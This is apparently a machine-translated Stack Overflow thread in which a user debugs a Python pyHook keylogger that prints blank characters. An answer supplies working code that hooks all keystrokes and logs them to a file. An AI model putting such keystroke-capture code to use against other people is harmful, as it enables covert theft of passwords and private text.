2016-08-05 219 views
0

我寫了一個鍵盤記錄程序,但打印不正確。如果我告訴它打印該事件,ASCII解碼(print(event.Ascii)),它打印出該密鑰的Ascii數值。但如果我告訴它print(chr(event.Ascii))它只是打印一個空行。爲什麼是這個,我該如何解決它?ASCII chr()不打印任何東西

全碼:

import pyHook, pythoncom, sys, logging 

file_log = "log.txt" 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10, chr(event.Ascii)) 
    print(chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+1

嘗試'print(chr(int(event.Ascii)))'。 –

+0

這增加了一些進步。我使用Enter鍵,空格鍵和A鍵進行了測試,並且它們都返回了一個看起來像這樣一個更小版本的小框:[] – doejs

+0

嘗試'print(chr(int(str(event.Ascii)))) '。我應該在之前提出這個建議。 –

回答

0

這爲我工作:

import pyHook 
import pythoncom 
import time 

log = open('log.txt', 'w') 
result = '' 
def OnKeyboardEvent(event): 
    global result 
    if event.Ascii != 13: 
     result += chr(event.Ascii) 
    else: 
     log.write("%s\r\n" % result) 
     log.flush() 
     result = '' 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
try: 
    while True: 
     pythoncom.PumpWaitingMessages() 
     time.sleep(0.01) 
except KeyboardInterrupt: 
    print "Keyboard interrupt" 

它寫的文本行的日誌文件。它具有可以通過Ctrl+C停止的附加優點。我不知道爲什麼你的代碼不工作。但是,您可以嘗試使用pyHook附帶的example.py腳本。

注:通常情況下,我會盡我所能避免使用全局變量,但是這會使代碼更短。

+0

這沒有給我打印任何東西。 。 。也許這是因爲我使用Python 2.x的鍵盤記錄器教程,但我運行Python 3.x? – doejs

+0

您正在使用哪個版本的Python 3?您是否安裝了與您的Python版本匹配的pyHook版本?我必須安裝pyHook的2.7版本才能使用Python 2.7。 –

+0

我使用python 3.5.2,我相信pyHook 1.5.1。 。 。 ython 3.5.2的正確版本 – doejs